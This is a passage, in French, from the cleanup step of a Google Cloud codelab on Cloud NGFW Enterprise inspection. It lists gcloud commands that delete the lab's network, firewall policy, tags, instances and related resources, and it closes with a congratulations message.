  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Nettoyage de la configuration de base

Passez à l'étape suivante si vous préférez supprimer les ressources de base.

Définissez les variables d'environnement si nécessaire. Dans Cloud Shell, supprimez les composants de l'équilibreur de charge réseau:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Supprimez les instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Vous pouvez éventuellement suivre les étapes ci-dessous si les rôles tagAdmin et tagUsers ont été modifiés:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Supprimez la clé et les valeurs de la balise:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Supprimez la stratégie de réseau et l'association du pare-feu cloud:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez Cloud Router et Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Enfin, supprimez le sous-réseau et le réseau VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Félicitations !

Bravo ! Vous avez terminé l'atelier de programmation sur Cloud NGFW Enterprise pour l'inspection Est-Ouest et Nord-Sud.